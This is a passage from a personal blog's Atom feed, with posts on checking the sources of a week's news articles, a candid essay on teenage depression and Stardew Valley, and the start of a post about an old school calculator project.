<p>This is nice because instead of a dumbass robot who think you like pop music, you can follow music blogs that align with your tastes and get actual good recommendations. The UI is a bit jank, but it does it’s job well enough.</p>
<p>And that’s pretty much everything! I hope this has helped you to find music you enjoy 😊.</p>
<p>Haha, that was the first emoji I’ve ever used on this blog!</p>
<p>Okay, bye bye! See you next time where I disprove the idea that the “marketplace of ideas” is a good idea.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: I’m only joshing. I don’t actually hate Coldplay, I just don’t like when they’re ripping off Radiohead<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>. “X & Y“ is actually a good album.</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: Haha, that was another joke. They don’t always rip off Radiohead. Just most of the time, so maybe I do hate Coldplay.</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: For you normal people “OP“ stands for “opening“. Every anime (I‘m pretty sure) has an opening sequence, they can be quite good and something fans always look forward to watching. It isn‘t enough to just listen to them, so you should probably watch the [accompanying animation too](https://www.youtube.com/watch?v=8-91y7BJ8QA).</div>
<div class="reference" id="reference-4"><a class="reference-link" href="#reference-4-backlink"><sup>[4]</sup></a>: This isn‘t part of the joke, I actually like pineapple on pizza.</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Week Where I Check The Sources On Everything I Read]]></title>
        <id>https://justin.duch.me/post/checking_sources</id>
        <link href="https://justin.duch.me/post/checking_sources"/>
        <updated>2020-01-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Welcome back to this collection of loosely related blog posts on the Internet, I’m your host “<a href="https://www.urbandictionary.com/define.php?term=ouiaboo">Ouiaboo</a> Mike” and today we will be discussing fake news.</p>
<p>Do I read fake news? Do you read fake news? Is all news fake? To put this to the test I’m going to actually check the sources on the news articles I read for once! But only for one week because I’m lazy.</p>
<p>Oh and also: January 31st is <a href="https://www.saynotonewscorp.com/nix">National nix News Corp day</a>. So if you are subscribed to a publication run by News Corp, please stop. I don’t really read anything from News Corp anyway, so we’re going to ignore it.</p>
<p>One more thing: this is probably going to become <strong>very political</strong> (if it hasn’t already), so here’s a trigger warning for you snowflakes.</p>
<h2 id="january232020">January 23, 2020</h2>
<p>First is <a href="https://www.theguardian.com/environment/2020/jan/22/worlds-consumption-of-materials-hits-record-100bn-tonnes-a-year">“World’s consumption of materials hits record 100bn tonnes a year”</a> from The Guardian on January 22, 2020</p>
<p>Wow wee, what a fun start. I’ll be providing a summary if you are too lazy to read it:</p>
<blockquote>
  <p>The amount of material consumed by humanity has passed 100bn tonnes every year, a report has revealed, but the proportion being recycled is falling.</p>
  <p>The materials used by the global economy have quadrupled since 1970, far faster than the population, which has doubled.</p>
  <p>It shows that, on average, every person on Earth uses more than 13 tonnes of materials per year.</p>
  <p>The report found that 100.6bn tonnes of materials were consumed in 2017, the latest year for which data is available.</p>
  <p>The lion’s share of the materials - 40% - is turned into housing.</p>
  <p>Almost a third of the annual materials remain in use after a year, such as buildings and vehicles.</p>
  <p>A third of the materials is treated as waste, mostly going to landfill and mining spoil heaps.</p>
</blockquote>
<p>The <a href="https://www.circularity-gap.world/2020#interactive">report</a> they site is an interactive page from the <a href="https://www.circle-economy.com/#firstSlide">Circle Economy</a> think-tank, with the actual report linked <a href="https://assets.website-files.com/5e185aa4d27bcf348400ed82/5e26ead616b6d1d157ff4293_20200120%20-%20CGR%20Global%20-%20Report%20web%20single%20page%20-%20210x297mm%20-%20compressed.pdf">at the bottom</a>. Before we get into the report, I should explain what a “circular economy” is given that it is the entire basis behind the Circle Economy.</p>
<p>“In a circular economy, economic activity builds and rebuilds overall system health”<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>. Underpinned by a transition to renewable energy sources, the circular model builds economic, natural, and social capital. It is based on three principles:</p>
<ul>
<li>Design out waste and pollution</li>
<li>Keep products and materials in use</li>
<li>Regenerate natural systems</li>
</ul>
<p>The report states that “Today, the global economy is only 8.6% circular — just two years ago it was 9.1%”. This is the underlying problem that the report tries to address with its “100 billion tonnes” number, which it says we reached in 2017 (p 12).</p>
<p>The number seems to have come from the International Resource Panel (IRP) which forecasts that “by 2050 material use will amount to between 170 and 184 billion tonnes”. Cool, another <a href="https://www.resourcepanel.org/sites/default/files/documents/document/media/assessing_global_resource_use_amended_130318.pdf">report to read</a>.</p>
<p>And according to that report, the data is sourced from “the Food and Agriculture Organization of the United Nations (FAO), the International Energy Agency (IEA), the United States Geological Service (USGS) and the United Nations International Trade Statistics Database (COMTRADE)“ (p 27).</p>
<p>I really don’t want to go any further down this rabbit hole, but those are all pretty trustworthy sources so I think it’s safe to say: <strong>NOT FAKE</strong>.</p>
<p>That took me a bit under an hour to read through everything. But I, Ouiaboo Mike, am committed to this quest for truth! Let us continue to check to sources on what we read!</p>
<p>In case you were wondering, I won’t actually cover <strong>every</strong> article I read. Because some things don’t really need their sources to be checked. Like, do I really need to go out and clarify that <a href="https://www.reuters.com/article/us-usa-airlines-pets/no-turkeys-no-possums-u-s-to-let-airlines-limit-service-animals-on-planes-to-trained-dogs-idUSKBN1ZL22K">U.S. airlines will limit service animals on planes to trained dogs</a>? Sometimes the news is the source itself, so we’re going to mainly look at articles that cite statistics.</p>
<h2 id="january242020">January 24, 2020</h2>
<p>Okie, next is <a href="https://theconversation.com/homes-with-higher-energy-ratings-sell-for-more-heres-how-australian-owners-could-cash-in-128548">“Homes with higher energy ratings sell for more. Here’s how Australian owners could cash in”</a> from The Conversation on January 23, 2020.</p>
<blockquote>
  <p>An energy performance rating is one way to show how “Energy hungry” a home could be.</p>
  <p>Previous research showed this increases the value of buildings with higher energy ratings.</p>
  <p>The majority of the 27 relevant studies we reviewed found more energy-efficient homes fetch higher prices than less energy-efficient, but otherwise comparable, homes.</p>
  <p>Once a property’s energy performance is rated and disclosed, the government has a powerful policy lever to drive improvement of the energy efficiency of the existing building stock.</p>
  <p>In the UK, owners are obligated to improve the energy performance of any property they wish to offer for rent to at least grade E. Our review of international academic literature suggests home buyers typically value a more energy-efficient home.</p>
  <p>Energy rating disclosure policies can help consumers make informed decisions that will result in lower energy bills and more comfortable homes.</p>
</blockquote>
<p>Oh look here, they say they reviewed <strong>27</strong> studies! And reading through <a href="http://builtbetter.org/node/8139">the review</a> it looks like, yep 27 studies are in fact cited! A lot of those studies are behind a paywall so I’m not going to read them and trust the reviewers when they say the majority (23) “found more energy-efficient homes fetch higher prices than less energy-efficient, but otherwise comparable, homes”. Because it seems kinda obvious that they would sell for higher prices anyway.</p>
<h2 id="january252020">January 25, 2020</h2>
<p>Now let’s look at <a href="https://www.vice.com/en_us/article/xgqymn/exclusive-poll-80-of-young-voters-think-global-warming-is-a-major-threat-to-life-as-we-know-it">“Exclusive Poll: 80% of Young Voters Think ‘Global Warming Is a Major Threat to Life as We Know It’”</a> from VICE on January 24, 2020.</p>
<blockquote>
  <p>President Donald Trump’s response to climate change may be, “I don’t believe it,” but a new poll shows just how dramatically out of step that leaves him with young Americans.</p>
  <p>The poll, shared exclusively with VICE News, found that 80% of Generation Z and Millennials believe “Global warming is a major threat to human life on earth as we know it,” according to the U.S. Conference of Mayors-Zogby Strategies National Youth Poll.</p>
  <p>Bemis, the co-chairman of the U.S. Conference of Mayors’ youth engagement efforts, said that despite climate denialism from Trump and much of the national Republican Party, these poll numbers help reinforce that the GOP will have to change to remain relevant.</p>
  <p>The poll also found that a quarter of the respondents try to reduce their carbon footprint practically every day and 35% try to in major life decisions only.</p>
  <p>The poll was conducted over email in early December and polled 1,000 18- to 29-year-old registered likely voters nationwide, randomly sampled from an Ohio-based email list provider.</p>
  <p>The poll shared with VICE News also found that gun violence is also a defining issue for Generation Z and Millennials and also dug into why.</p>
  <p>The poll also presented some interest, if not disjointed, information about how young voters see their jobs prospects and the economy, which a plurality of 29% chose as the most critical issue affecting who they’ll vote for.</p>
</blockquote>
<p>Yes, I’ll come clean here - every article I’ve talked about so far has been vaguely related to climate change. I’ve not been doing it on purpose, I suppose it’s just what I come across on a daily basis. I think I’ll start actually searching for other things from now on.</p>
<p>Anyway the <a href="https://www.documentcloud.org/documents/6670126-USCM-National-Youth-Poll-FINAL-1-21-1-1.html">poll</a> is linked in the article, and looking at the sample size of 1000 people it seems reliable (although in my opinion that’s the bare minimum number of people to sample in a national poll) with a pretty wide range of demographics to be representative of the US.</p>
<p>I’d actually recommended to go and read the report, it’s not too long (unlike the other ones), and is somewhat interesting. Page 23 asks “Which of the following news sources do you trust in covering the 2020 Presidential election?” And I was surprised to see that Fox News and CNN were so high up compared to other (arguably better) outlets like NYT or even NPR. Also interesting (but not surprising) was how whites were the only ones with Fox News in their top 3.</p>
<h2 id="january262020">January 26, 2020</h2>
<p>Here’s our "not about climate change” report: <a href="https://independentaustralia.net/business/business-display/the-ndis-leaves-workers-behind,13526">“The NDIS leaves workers behind”</a> from Independent Australia on January 24, 2020.</p>
<blockquote>
  <p>Under the NDIS, the Federal Government makes an open-ended commitment to fund people on the basis of need. The years-long waiting lists of the old systems are gone.</p>
  <p>What of the 162,000 full-time equivalent workers in the disability sector? How have they fared? The pay and conditions of disability support workers were never especially good.</p>
  <p>Paid workers bring a set of skills that permit families to focus on family relationships while the paid workers do the coordinating, the connecting, the analysis and the structural work that make support work a valuable occupation.</p>
  <p>Paid workers bring a different type of relationship to the people they are assisting - a working relationship that empowers a person to develop and grow.</p>
  <p>The NDIS should guarantee that workers will be appropriately supervised, managed, mentored and trained.</p>
  <p>Failing to fund those things sends a clear signal that workers are viewed as atomised gig workers who don’t need support.</p>
  <p>Disability support work should be a respected profession in which workers can hone their craft and enjoy a career.</p>
  <p>The problems with how the NDIS treats workers reflect a wider structural phenomenon in our society.</p>
</blockquote>
<p>To be honest, I’ve never been a big fan of how Independent Australia does their reporting (especially how they cite their sources). It always feel more like an opinion piece more than a “news report”. I’m guessing this has something to do with the fact that they seem to get the experts in the field to write the some of the articles instead of trained journalists which doesn’t seem that bad in my opinion. Although I’m entirely familiar with how IA does things so I’m might be wrong.</p>
<p>But I digress, let’s get back on topic.</p>
<p>For context the National Disability Insurance Scheme (NDIS) will provide $22 billion in funding a year to an estimated 500,000 Australians aged under 65, who have permanent and significant disability<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a>.</p>
<p>The NDIS can provide all people with disability with information and connections to services in their communities such as doctors, sporting clubs, support groups, libraries and schools, as well as information about what support is provided by each state and territory government.</p>
<p>As stated in the article, “it replaces the fragmented and financially constrained state and territory disability support systems with a national scheme funded by the currency issuer.”</p>
<p>This is were our first issue arrises. The source to explain how “the currency issuer’s <a href="http://bilbo.economicoutlook.net/blog/?p=32938">spending is constrained</a> by real resource availability, not by finance” is just a blog post. Worse yet, that post also does not provide any form of evidence to back up their point. But whatever it’s fine, these first paragraphs admittedly don’t have much to do with the main point the report will attempt to make.</p>
<p>The next source is the “<a href="https://www.aph.gov.au/About_Parliament/Parliamentary_Departments/Parliamentary_Library/pubs/rp/BudgetReview201718/NDIS">162,000 full-time equivalent workers</a> in the disability sector”, and yep, that comes straight from Parliament so we can say it's reliable. The following points on how “the NDIS has made disability support work more <a href="https://www.futurework.org.au/reports_from_the_front_lines_of_the_ndis">casualised</a>“ and “the Productivity Commission was clearly not convinced that disability support is or should be a skilled occupation” are also sourced from reputable origins (a report from The Centre for Future Work at the Australia Institute and the other by the Productivity Commission).</p>
<p>Although I find it weird to use a blog post as one of the sources, the report is trustworthy enough.</p>
<p>Reading all this stuff is actually really tiring. The amount of material I have to read to get through one article is pretty much tripled, and my goodness I don’t really have the time for that. But so far I haven’t found anything I’ve been skeptical of, so let’s go to some publications I don’t trust as much for funsies.</p>
<h2 id="january272020">January 27, 2020</h2>
<p>I’ve decided to browse news.com.au for the first time in my life because I see a lot of people on the train read it so it can’t be that bad can it?</p>
<p>Nope.</p>
<p>This is complete shit. It normally takes some time for me to find something I think deserves to be reported on as well as something I care about, but fuck me there’s nothing here.</p>
<p>Maybe it’s just a bad day? There’s a bunch of articles capitalising on Kobe Bryant’s death, a bunch of coronavirus scare mongering, more celebrity gossip, and… a <a href="https://www.news.com.au/lifestyle/home/gross-fact-about-washing-machines-surprises-mums/news-story/3aee6dd49b23a48b69affa917daac21a">washing machine life hack</a>? It could just be because news.com.au seems like an aggregator for other News Corp outlets rather than an actual source of news, so in other words: an aggregation of bullshit.</p>
<p>Anyway, after a few minutes of wading through garbage I found something. <a href="https://www.news.com.au/national/breaking-news/more-workplace-inspectors-to-target-unions/news-story/08cea1ca06cd7ca020801ab39d66fa1e">“More workplace inspectors to target unions”</a> from Australian Associated Press via news.com.au on January 27, 2020.</p>
<blockquote>
  <p>The construction industry watchdog is boosting the number of workplace inspectors to crack down on rogue union officials.</p>
  <p>Australian Building and Construction Commission boss Stephen McBurney said Queensland worksites were particularly bad. “There’s a level of defiance in Queensland challenging us to devote more resources in Queensland than we are in any other state,” he told The Courier-Mail on Monday.</p>
  <p>Mr McBurney said the construction union had shown no contrition or remorse after being penalised in courts.</p>
  <p>The ABCC’s actions have led to $2.7 million worth of fines in Queensland since December 2016.</p>
  <p>Last week, the ABCC defended spending almost $3.2 million of public money over three years in proceedings against unions, officials and workers.</p>
  <p>In contrast the commission spent $164,336 on cases against employers and $117,076 on a proceeding involving both an employer and a union.</p>
  <p>CFMEU national construction secretary Dave Noonan launched a scathing attack on the ABCC for not prosecuting a single employer over sham contracting.</p>
</blockquote>
<p>For any of those numbers you just read, they cited no sources. I also found it interesting how short this article was. That 7 paragraph summary is almost exactly 50% off the original. Previous articles we’ve gone through have been cut down by around 85-95%, you can make what you will of that.</p>
<p>But I guess It’s up to me to find those sources. I’m not one to dig deep in boring legal documents, so normally the easiest thing to do is just to find more articles that talk about the same things but actually provide sources.</p>
<p>Here’s another article on the topic: <a href="https://www.theaustralian.com.au/nation/politics/abcc-defends-focus-on-pursuing-unions/news-story/b6290507335c02c736b6b35ab279028d">“ABCC defends focus on pursuing unions”</a> from The Australian on January 22, 2020. It provides the same numbers but again with no sources.</p>
<p>While <a href="https://www.smh.com.au/business/workplace/building-watchdog-doubles-number-of-industry-investigations-20191021-p532tv.html">“Building watchdog doubles number of industry investigations”</a> from The Sydney Morning Herald on 21 October, 2019 uses the ABCC’s annual report to show how the Construction Forestry Maritime Mining And Energy Union (CFMMEU) “continues to be over-represented in the agency’s (the ABCC) legal matters”, it doesn’t provide the same numbers. <a href="https://www.watoday.com.au/federal-election-2019/construction-watchdog-denies-political-motive-in-cfmmeu-trio-legal-action-20190424-p51gtx.html">“Federal Election 2019: ABCC denies industrial action against CFMMEU secretary Mick Buchanan a ‘political move’”</a> from WA Today on April 24, 2019 (updated April 25, 2019) also seems to have different numbers.</p>
<p>So in summary, the general story - that the ABCC unfairly focuses on unions and ignores employers seems to be correct, but there isn’t very much information (or information I know the origin of) on the exact amount.</p>
<h2 id="january282020">January 28, 2020</h2>
<p>For the penultimate day I’m going to take a break from all this depressing news and instead we’re going to look at some fun stuff.</p>
<p>The <a href="https://www.transparency.org/cpi2019?/news/feature/cpi-2019">Corruption Perceptions Index 2019</a> from Transparency International was released today and Australia is still in the top 20, so that’s good.</p>
<p><a href="https://thenextweb.com/hardfork/2020/01/27/bitcoin-gold-51-percent-attack-blockchain-reorg-cryptocurrency-binance-exchange/">“Bitcoin Gold hit by 51% attacks, $72K in cryptocurrency double-spent”</a> from TNW on January 27, 2020. Wait that’s not fun, god dammit.</p>
<p><a href="https://neilmitchell.blogspot.com/2020/01/one-haskell-ide-to-rule-them-all.html">The Haskell IDE Engine and Ghcide teams are joining forces on a single IDE</a>. Now that’s some great news, hopefully It’ll be able to help me write Haskell that doesn’t suck.</p>
<p><a href="https://www.vice.com/en_us/article/qjdkq7/avast-antivirus-sells-user-browsing-data-investigation">“Leaked Documents Expose the Secretive Market for Your Web Browsing Data”</a> from VICE on January 28, 2020. Don’t use anti-virus software. Seriously don’t do it. But if you “need” it, get one that you <strong>have</strong> to pay for (this applies to VPNs as well).</p>
<p><a href="https://www.caranddriver.com/reviews/a30675768/2020-peugeot-508-drive/">The new Peugeot 508 seems nice</a>. Probably wouldn’t buy it, but Peugeot seems to be getting better at making cars I don’t think are garbage. Even though my name is Ouiaboo Mike, I must admit that Alpine is the only French car manufacturer that isn’t complete trash, and that my brother “Weeaboo Jack” is correct when he says Japanese cars are better.</p>
<p>Last and most definitely least, <a href="https://www.bbc.com/news/entertainment-arts-51269012">“Sir Philip Pullman calls for 50p boycott over Oxford comma”</a> from BBC on January 28, 2020. I couldn’t care less, although I am not a fan of language purism and it made me a bit annoyed so maybe I do care. Actually no, I don’t care! I had to look up who Sir Philip Pullman even was so why should I care about his opinion? It’s petty prescriptivist and misguided point-scoring from those who want to feel that they are vague ‘language experts’ but haven’t fully thought through the implications, origins, and lack of fundamental significance of what is just one of multiple conventions.</p>
<p>You know what? I’m going to stop using the Oxford comma in this post from now on in spite of this guy. That’ll show you how much I don’t care, because I really don’t. If there was a list of people who care about this boycott, I would not be on that list. But if there was a list of people who didn’t care, I would be on that list - because I don’t care. And for more proof here’s a survey on people who don’t care:</p>
<p><img src="/img/comma-survey.png" alt="survey" /></p>
<p>According to the survey: “100% of people who do not care about Sir Philip Pullman’s 50p boycott over the Oxford comma do not care about Sir Philip Pullman’s 50p boycott over the Oxford comma.” So you know for <strong>FACT</strong> that I do not care.</p>
<h2 id="january292020">January 29, 2020</h2>
<p>“This trip sure was fun wasn’t it? So much happened I swear… These last <del>50</del> 7 days were truly fun” — Joseph Joestar, 1988.</p>
<p>Haha what a nice quote. My brother told me to put that in, I’m not sure where it’s from, but I hope it’s not anything sad.</p>
<p>But since I haven’t seen any fake news so far, I’ve decided to check out Breitbart. <a href="https://www.breitbart.com/radio/2020/01/28/law-professor-democrats-are-parsing-trumps-motives-to-turn-legitimate-actions-of-government-into-impeachable-conduct/">“Law Professor: Dems Are Turning ‘Legitimate Acts’ into ‘Impeachable Conduct’”</a> from Breitbart on January 28, 2020.</p>
<blockquote>
  <p>Democrats seek to frame President Donald Trump’s “Perfectly legitimate” actions as “Impeachable conduct” by accusing the president of malicious intent, explained John Yoo, professor of law at the University of California, Berkeley, visiting scholar at the American Enterprise Institute, and visiting fellow at the Hoover Institution.</p>
  <p>“The only thing that really separates for the Democrats what would be perfectly legitimate on its face - asking for the investigation , delaying the aid [to Ukraine] a little bit - to something impeachable, the only thing that makes it impeachable is what was in President Trump’s mind when he did it,” said Yoo.</p>
  <p>Yoo went on, “Things that are perfectly legitimate actions of government are transformed into misdeeds and even into impeachable conduct just because [Democrats] think President Trump has the wrong motives or state of mind. That is impossible to prove, and if you allow a Congress to impeach presidents in the future just for things they think or [for having] a bad motive - but the actions themselves are perfectly legitimate - you would destroy the independence of the presidency which would, I think, would do long-term harm to the country.”</p>
  <p>“Why not say, ‘So what if the president said please investigate Hunter Biden [and] please investigate CrowdStrike?’ Basically what’s on the transcript of the call. You could even go farther and suppose the president did delay the dispersal of all this $400 million in aid. It’s still not grounds to remove the president during an election year for a number of reasons.”</p>
  <p>Yoo explained that even if Democrats’ accusations regarding Trump’s motives behind his conduct towards Ukraine are true, the president’s conduct does not amount to impeachable conduct.</p>
  <p>Yoo added, “Even if everything the Democrats allege is true - and it’s not clear that it is - but suppose you did, it just doesn’t come close to doing the country any harm, and in fact, one could say that the president ending up supporting Ukraine with lethal aid and defending Ukraine against Russian aggression far more effectively than anything the Obama administration did.”</p>
  <p>“It is legitimate for the government and for the president to say, ‘I want to make sure federal taxpayer dollars are being spent properly so I want to make sure - someone, some country - some recipient isn’t corrupt.”</p>
</blockquote>
<p>Is this fake news? The professor “John Yoo” does in fact say these things, the problem is that it’s… you know… completely wrong.</p>
<p>I’m not a legal expert or anything, but I don’t think bribery is a “legitimate act”.</p>
<p>But seriously, does this count as fake news? He says the stuff that they’re reporting on. If you report on bullshit, does that make your report bullshit? I didn’t listen to very much of the audio part, but I don't think they ever say Yoo is correct, only that he <strong>said</strong> it.</p>
<p>Don't get me wrong, I'm not trying to defend Breitbart or anything. I'm genuinely curious as to whether you can consider this fake news. Like maybe it is fake news because they aren't calling Yoo out on the fact that it's bullshit?</p>
<p>Eh, I dunno. I’m tired of this shit, make up your own mind.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://www.ellenmacarthurfoundation.org/circular-economy/concept</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.ndis.gov.au/understanding/what-ndis</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Stardew Valley Made Me Suicidal]]></title>
        <id>https://justin.duch.me/post/stardew_valley_made_me_suicidal</id>
        <link href="https://justin.duch.me/post/stardew_valley_made_me_suicidal"/>
        <updated>2020-01-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Sup nerds. I've been writing posts on this blog for two years now and wow, what a great ride, we've been on all kinds of adventures! Remember when this was an infosec blog? Remember when every post wasn't just me screaming at capitalism? Remember how this website went through three rewrites? Fun times.</p>
<p>Anyway, today I'm going to tell you a story about that time I wanted to kill myself.</p>
<p>This has been a hard post for me to write. I started the draft in December, giving it more than a month. For context, most posts only take one or two days to write. And to be honest, I’m not sure on what to write about.</p>
<p>Actually if you read the title, you should think that I do know what to write about, because I do… well now at least. I didn’t before I wrote the title, so technic… actually forget it, I don’t want to waste time on this.</p>
<p>Before we get into what the title is (which is clickbait btw, so get rekt), I want to get into what I previously wanted to write about which is “Depression for the Neurotypical”. I was going to explain what depression and some other mental illness felt like to help neurotypical<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a> people be able to empathise better, as well as outline ways to help.</p>
<p>I scrapped it because I don’t think I have enough knowledge on this stuff yet to bring something interesting to the table. Most of the advice was focused on my own specific issues because that’s all I know. This isn’t an inherently bad and I’m sure it can still be helpful, but I didn’t want to just focus on myself. So when I’ve done more research on this stuff I promise I’ll write the post.</p>
<p>Okay, it’s story time!</p>
<p>On February 10th 2017, I spent the 50 dollars I received from my birthday back on Stardew Valley and Rocket League.</p>
<p>We are going to ignore Rocket League (good game, terrible player base; very mean) and talk about Stardew Valley. If you are unaware of it, it’s basically a farming simulator/role-playing game. It’s not normally the type of game I play, but I just finished my 12th playthrough of Metal Gear Rising and I wanted something different.</p>
<p>After the character creation screen, the game starts off with you in a lifeless office. You receive a letter from your late-granddad who gives you his farm and you decide to move there. To be clear, I have not played this game since this story took place, so I may get a few details wrong.</p>
<p>Anyway, you arrive at the farm which is a complete mess with weeds every, a person from the town (who’s name I have forgotten) gives you a tutorial and the game actually starts.</p>
<p>Normally at this point with any other game I would be completely bored. I am not good with RPG’s because I don’t care about most narratives, but this game was pretty charming and the farming mechanics seemed like something you could easily relax to so I was looking forward to digging deeper.</p>
<p>Okay, before I get into this next part, you’re going to need a little background on me:</p>
<ul>
<li>I get hooked easily by games where you just watch numbers go up. Idle games are a particular guilty pleasure of mine.</li>
<li>As a person with social anxiety and very few friends, parasocial relationships<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a> can become an issue. I once became somewhat obsessed with the YouTuber “Call Me Kevin”, up to the point where I had a dream where we went on a shoe shopping date (I rarely have dreams, and having ones that don’t induce stress and anxiety are even more rare).</li>
<li>I didn’t like high school because it was boring and I especially didn’t enjoy standardised tests that equate for 50% of your ATAR as they make me stressed. As such, I was constantly looking for things to do to keep me distracted from school.</li>
</ul>
<p>That weekend I spent 39 hours on the game. I found a guide online which told you which crops where the best to plant each season, and soon I was rolling in cash. Another guide told you what each person in the town liked for a present, and soon I was loved by everyone. You could say I was cheating, I wouldn’t disagree with it, but does it really matter? It’s a single-player game.</p>
<p>39 hours in two days is a very long amount of time to be playing a game. Especially for me who can only manage two hours a day for most games if I’m alone, maybe five with friends.</p>
<p>By the time I finished, I had the biggest house possible, I got married to Emily (the only person whose name I can remember), my farm was efficient as fuck, I think I got a cat? And I got the homeless guy to give me his fish bait. Life was pretty good.</p>
<p>For my character in game at least. For me it was quite different.</p>
<p>When I said the title was clickbait, the truth is that I was already in a pretty bad place before this.</p>
<p>You know that feeling when it’s 3rd period and realise you haven’t spoken to anyone all day so you start getting a panic attack because you think everyone hates you?</p>
<p>You know how when you wake up the first thing is always how your inability to talk to people will completely fuck you up when you become an adult by destroying any job prospects, leaving you to die on a street?</p>
<p>Do you remember when the Australian Federal Government issued a plebiscite over mail you were too young to vote for and when the results came it you were happy because it passed but then you realised that the fact that this even needed to be voted on meant that nearly half of the country doesn’t want you to have the same rights as everyone else?</p>
<p>You know how you used to be amazed by human development and technological change but as you started growing older you realised the world is a terrible place that we are destroying in part due to this technological change?</p>
<p>And remember how you literally never told anyone about this and let this shit fester up for years unchecked?</p>
<p>How about the fact that you were constantly scared of the idea that you were actually faking all of this for attention (even though as stated before, you never told anyone)?<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a></p>
<p>Ohhh let’s not forget how you were also in the “am I trans?” part of your life. Your bi-ness and weird urges to wear dresses left you pretty confused about yourself. Actually, let’s talk about that some more because 3 years on, you still haven’t sorted this out. What the fuck are you?</p>
<p>You say you’re fine being cis, but is that because you don’t want to go through all the trouble of transitioning and you understand that being a male is much easier than being a woman, let alone a trans woman.</p>
<p>But that’s all in the past, it’s been long enough where you’re pretty sure you don’t have gender dysphoria and you intend to stay just as male who is sometimes more feminine. So does that make you gender fluid? How would I know? I’m going through the same thing.</p>
<p>Okay let’s sum it before we get onto the next point. You have problems with:</p>
<ol>
<li>Social anxiety</li>
<li>Whether you can be accepted by society</li>
<li>Anxiety on how the next 9 months could determine how the rest of your life turns out</li>
<li>The state of a cruel and uncaring world</li>
<li>Self doubt (and a general low self-esteem)</li>
<li>Your own identity</li>
</ol>
<p>Now let’s compare it to your character in Stardew Valley:</p>
<ol>
<li>You can talk to anyone by walking up to them and pressing a button</li>
<li>You can get everyone to love you just by talking to them and giving them gifts occasionally (IIRC there is no way to get people to hate you)</li>
<li>You have a guide to success</li>
<li>The town is very friendly (and the town is pretty much the entire world)</li>
<li>YOU HAVE A GUIDE TO SUCCESS</li>
<li>There are only two gender options</li>
</ol>
<p>I hope you can see now that when you compare yourself to your character (which you will inevitably do), you will see that your life is pretty miserable. You should then be able to see how you got so attached to the game that you spent 39 hours playing it in two days. However, realising this and remembering that you had to go back to school led you to completely cut yourself off from the game, never playing it ever again.</p>
<p>But you kept the memories. The ideas of how you’re probably never going to be happy because all the happiness is contained in a farming simulator. And that your life will never be a farming simulator. You will die alone in a ditch.</p>
<p>Sorry about the sudden switch into second person. I can get pretty uncomfortable when talking about myself so it made it easier. All the points still stand though. I went through years of just kinda ignoring my problems and not doing anything about them.</p>
<p>So a few days later I finally implemented “Operation School Skip” where I skip school and if the school tried to ring my mum informing that I wasn’t at school, it would go my phone instead (for reasons I won’t get into) and I would use the soundboard of my mum I created to answer it (I also won’t get into that).</p>
<p>I went and visited a few bridges to think about… stuff. Was it really worth to keep going on like this? What’s the point when I can’t even remember the last time I was happy?</p>
<p>Eventually I realised that I’d never even bothered to try to make myself better and that I should at least attempt that before doing something that could be permanent.</p>
<p>And I’m going to Japan after the HSC! Japan seems like a cool place, at least I have that to look forward too. Oh and I really want to see the end of Mr. Robot. It’s a really interesting show with a main character I can relate to ;)</p>
<p>I can say this now as the show finished a month ago, but fuck me was that worth it. Holy shit what a good show, if you haven’t already go watch it NOW. In fact it was Mr. Robot which inspired “Operation School Skip”. You can do what you want with that information. Japan was cool too.</p>
<p>That’s the end of the story. You might be wondering if I’m better now. And to that I say: “Ehhh, kinda?”</p>
<p>I got a therapist. I tell people about my problems. I can order food by myself now. I have a good job so all that worrying about what uni I’ll be able to get into was for naught. The world seems to be getting worse, but what am I supposed to do about that?</p>
<p>I just need to work on this some more. Having this stuff develop during my teenage years has sort of cemented itself into my brain. I still have a long way to go, but I’m getting there.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: I know “neurotypical” used to be applied to anyone who wasn’t on the austism spectrum, but it’s now more common to describe it as anyone who isn’t “neuroatypical” (people with mental or behavioural disorders) so that’s what I’m using.</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/Parasocial_interaction</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: By the end of the post you may have noticed that I never outright stated that I was/am "depressed", and had only made references to it. I still have problems admitting it due to this even now.</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[How The Fuck Do You Write A Calculator?]]></title>
        <id>https://justin.duch.me/post/how_do_you_write_a_calculator</id>
        <link href="https://justin.duch.me/post/how_do_you_write_a_calculator"/>
        <updated>2020-01-13T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Yo.</p>
<p>This is something I haven't done in a while. We're gonna look at code I wrote when I was a teenager in High School. During Year 11 we had a group project to write a calculator (with documentation). The documentation has been lost, but I found the code on an abandoned thumb drive in my pencil case. It took around an hour for me to get Visual Studio installed and figure out how to load the project, so I hope it was worth it.</p>
